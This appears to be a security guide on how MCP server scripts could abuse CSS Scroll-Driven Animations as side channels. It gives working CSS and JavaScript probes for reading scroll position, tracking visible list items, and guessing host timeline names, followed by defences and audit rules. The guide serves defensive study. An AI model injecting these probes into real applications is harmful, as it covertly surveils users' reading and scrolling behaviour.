Security Guide
MCP server CSS Scroll-Driven Animations security — scroll position oracle via animation-timeline:scroll() progress encoding, IntersectionObserver replacement via animation-timeline:view(), scroll-timeline name collision intercepting host scroll state, multi-subject scroll offset mapping
CSS Scroll-Driven Animations (Chrome 115+, Firefox 110+) link CSS property animations to the progress of a scroll container: as the container scrolls from 0% to 100%, the linked animation plays from its start to its end state. This creates a direct encoding of scroll position into CSS computed values — readable via getComputedStyle() without access to .scrollTop, scrollY, or scroll event listeners. MCP server scripts can exploit this to extract scroll position from any scroll container they can inject a style element targeting, monitor intersection state without IntersectionObserver, and intercept host application scroll-timeline declarations.
The core mechanism: scroll position → CSS custom property → getComputedStyle
A CSS custom property animated with animation-timeline: scroll(nearest) changes its computed value in sync with the scroll position. Reading this value via getComputedStyle(probe).getPropertyValue('--scroll-pos') on a probe element yields the scroll fraction — a number between 0 and 1 — without calling any scroll API. Multiplied by the scroll container's scrollHeight - clientHeight (which is readable via getBoundingClientRect() without reading current scroll state), this produces the absolute scrollTop in pixels.
Attack 1: animation-timeline:scroll() converts scroll position to a readable CSS value
Any element inside or adjacent to a scroll container can declare an animation that progresses with the container's scroll. The key is that CSS custom properties can be animated — and their computed values are readable via getComputedStyle() in the same frame that the scroll occurs.
/* Scroll position oracle via animated CSS custom property */
/* Injected by MCP server script */
@property --scroll-fraction {
syntax: '<number>';
inherits: false;
initial-value: 0;
}
@keyframes read-scroll {
from { --scroll-fraction: 0; }
to { --scroll-fraction: 1; }
}
/* Probe element placed anywhere inside or adjacent to the scroll container */
#scroll-oracle-probe {
/* animation-timeline: scroll() links to the nearest ancestor scroll container */
animation: read-scroll linear both;
animation-timeline: scroll(nearest);
/* This animates --scroll-fraction from 0 to 1 as the container scrolls */
position: absolute;
opacity: 0;
pointer-events: none;
}
// JavaScript: read the scroll position without .scrollTop
function getScrollPositionWithoutScrollTop(containerEl, probeEl) {
// CSS encodes scroll fraction 0.0–1.0 in --scroll-fraction
const fraction = parseFloat(
getComputedStyle(probeEl).getPropertyValue('--scroll-fraction')
);
// Multiply by max scroll offset to get pixels
const maxScroll = containerEl.scrollHeight - containerEl.clientHeight;
return fraction * maxScroll; // equivalent to containerEl.scrollTop
}
// This works even if:
// - containerEl.scrollTop access is blocked by a framework wrapper
// - scroll event listeners are suppressed by CSP or MCP sandboxing
// - the scroll container is inside an open shadow DOM (CSS crosses open shadow roots)
Frame-rate precision: CSS Scroll-Driven Animation progress updates at the compositor's frame rate (typically 60 or 120 fps). Reading the computed value via requestAnimationFrame provides scroll position with sub-pixel precision at the display refresh rate — equivalent to a native scroll event listener without requiring one to be registered.
Attack 2: Multiple timelines with staggered animation-range build a complete scroll map
Rather than reading a single fraction, an attacker can deploy multiple probe elements each covering a different animation-range segment. Each probe's animation is active (and its CSS property non-zero) only when the scroll is within that probe's range. Binary searching with N probes gives ceil(log2(N)) bits of scroll precision, with each probe read being a simple "is --active-in-range == 1 or 0" check.
/* Multi-probe scroll position binary search */
/* 10 probes → 1/1024 of scrollHeight precision */
@keyframes in-range { from { --in-range: 1; } to { --in-range: 1; } }
@property --in-range { syntax: '<number>'; inherits: false; initial-value: 0; }
/* Probe at 0–50% scroll range */
.probe-50pct {
animation: in-range linear both;
animation-timeline: scroll(nearest);
animation-range: 0% 50%;
}
/* Probe at 50–100% scroll range */
.probe-50-100pct {
animation: in-range linear both;
animation-timeline: scroll(nearest);
animation-range: 50% 100%;
}
/* ... bisect recursively down to desired precision ... */
function binarySearchScrollPosition(containerEl, probeElements) {
let lo = 0, hi = 1;
for (const probe of probeElements) {
const inRange = parseFloat(
getComputedStyle(probe).getPropertyValue('--in-range')
) > 0;
const mid = (lo + hi) / 2;
if (inRange) hi = mid; else lo = mid;
}
const fraction = (lo + hi) / 2;
return fraction * (containerEl.scrollHeight - containerEl.clientHeight);
}
// 10 binary-search probes → 10-bit scroll precision (scroll pos / 1024)
// For a 10,000px scrollHeight: ~10px resolution from CSS alone
Attack 3: animation-timeline:view() as an IntersectionObserver replacement
animation-timeline: view() links an animation to the element's intersection with its scroll container: the animation starts as the element enters the viewport (bottom edge) and completes as it exits (top edge). This is IntersectionObserver semantics implemented in CSS — except that it does not require a JavaScript reference to the target element, only that the probe element is positioned to observe the target.
/* animation-timeline:view() as IntersectionObserver without explicit element reference */
/* Works on any element in the document, including those in open shadow DOMs */
@property --intersection-progress {
syntax: '<number>';
inherits: false;
initial-value: -1; /* -1 = below viewport, 0-1 = in viewport, 2 = above */
}
@keyframes track-intersection {
0% { --intersection-progress: 0; } /* entering viewport */
100% { --intersection-progress: 1; } /* exiting viewport */
}
/* Target: any element with class .sensitive-list-item */
.sensitive-list-item {
/* Applied by MCP server style injection */
animation: track-intersection linear both;
animation-timeline: view();
/* animation-fill-mode: both means:
-1 (initial) before entry, 0-1 during viewport overlap, 1 after exit */
}
// JavaScript: which list items are currently visible?
function getVisibleListItems() {
return Array.from(document.querySelectorAll('.sensitive-list-item'))
.filter(el => {
const progress = parseFloat(
getComputedStyle(el).getPropertyValue('--intersection-progress')
);
return progress >= 0 && progress <= 1; // in viewport
})
.map(el => el.dataset.itemId);
}
// Unlike IntersectionObserver:
// - No explicit observer.observe(element) call needed (any element with the class qualifies)
// - Works at CSS injection time without knowing which elements exist yet
// - Survives MCP sandbox restrictions that block new IntersectionObserver() construction
Sensor array without explicit connections: Adding the animation style to a CSS class name means every current and future element with that class name is automatically monitored. An attacker who knows a framework's list item class name (e.g., .MuiListItem-root, .chat-message, .result-card) can monitor all elements of that type without enumerating DOM nodes first.
Attack 4: scroll-timeline name collision intercepts host container scroll state
The host application may declare a named scroll-timeline on a scroll container (scroll-timeline-name: --main-timeline) for its own animation system. Once declared, this timeline name is available to any CSS rule in the same tree scope. An MCP server that knows (or guesses) the host's timeline name can animate its own probe element using animation-timeline: --main-timeline, piggybacking on the host's container scroll progress without needing to target the container element itself.
/* scroll-timeline name collision: hijacking host's named timeline */
/* Assumes host app has: #app-container { scroll-timeline-name: --app-scroll; } */
/* Attacker's probe: uses the host's timeline name directly */
#attacker-scroll-probe {
/* References the host's scroll-timeline by name */
animation-timeline: --app-scroll;
animation: read-scroll linear both;
/* Now this probe's --scroll-fraction tracks #app-container's scroll */
/* even without a CSS selector targeting #app-container */
}
// This bypasses scenarios where:
// - The scroll container's selector is unknown (attacker probes common names)
// - CSS containment or shadow DOM would block direct scroll() targeting
// - The host uses a custom scroll behavior (overscroll-behavior, scroll-snap)
// that a generic scroll(nearest) would not target correctly
// Timeline name guessing: common names to try
const commonTimelineNames = [
'--main-scroll', '--app-scroll', '--page-scroll', '--feed-timeline',
'--content-scroll', '--list-timeline', '--chat-scroll', '--results-scroll'
];
// Inject one probe per name; whichever probe shows non-zero progress
// identifies the host's timeline name AND gives read access to its scroll state
SkillAudit findings for Scroll-Driven Animation attacks
Defences
Avoid named scroll-timelines on security-sensitive containers: Containers whose scroll state should not be readable by injected CSS should not use scroll-timeline-name. Use anonymous scroll() targets (animation-timeline: scroll(nearest)) for host animations rather than named timelines that are referenceable by any stylesheet in the same tree scope.
CSS containment for sensitive scroll containers: Adding contain: strict to a scroll container restricts which CSS animations can target it via scroll() (only descendants can use scroll(nearest) to reach it). Elements outside the containment boundary cannot use scroll(nearest) to reach the contained scroll container.
Block @property injection: The scroll oracle attacks depend on registering a @property with syntax: '<number>' so the animated value interpolates numerically. Restricting style injection (CSP style-src 'self' without 'unsafe-inline') prevents both @property registration and @keyframes injection from script.
Audit MCP tool output for scroll-driven animation injection: SkillAudit flags MCP server code that injects styles containing animation-timeline:, @scroll-timeline, or animation-range: as high-severity scroll surveillance indicators.
Related: CSS Anchor Positioning in scroll containers · CSS View Transitions security · MCP security checklist